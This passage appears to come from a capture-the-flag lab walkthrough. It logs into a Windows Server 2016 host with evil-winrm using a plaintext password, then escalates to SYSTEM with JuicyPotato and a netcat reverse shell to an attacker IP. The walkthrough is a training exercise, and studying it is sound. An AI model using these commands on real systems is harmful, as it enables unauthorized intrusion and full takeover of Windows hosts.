proxychains evil-winrm -i 172.16.1.5 -u sophie -p Alltheleavesarebrown1

This is successful. Next, let's check the privileges of this user.


The SeAssignPrimaryToken privilege is assigned. Issuing the command systeminfo reveals that
the host operating system is Windows Server 2016, which means that we can use this to escalate
our privileges to SYSTEM.

This can be exploited in multiple ways. Let's upload the juicypotato binary to the host. The exploit
requires a valid CLSID, which can be obtained from here. We can choose any belonging to the NT
AUTHORITY\SYSTEM account, such as winmgmt .

Next, start a Netcat listener locally on port 8888 and run the exploit by issuing below commands.

upload nc.exe
.\JuicyPotato.exe -t * -p c:\windows\system32\cmd.exe -a "/c
c:\users\sophie\documents\nc.exe -e cmd.exe 10.10.14.2 8888" -l 1337 -c "
{8BC3F05E-D86B-11D0-A075-00C04FB68820}"
This is successful and a shell as nt authority\system is received on DANTE-SQL01 . The flag can
be found on the administrator desktop.

You might also like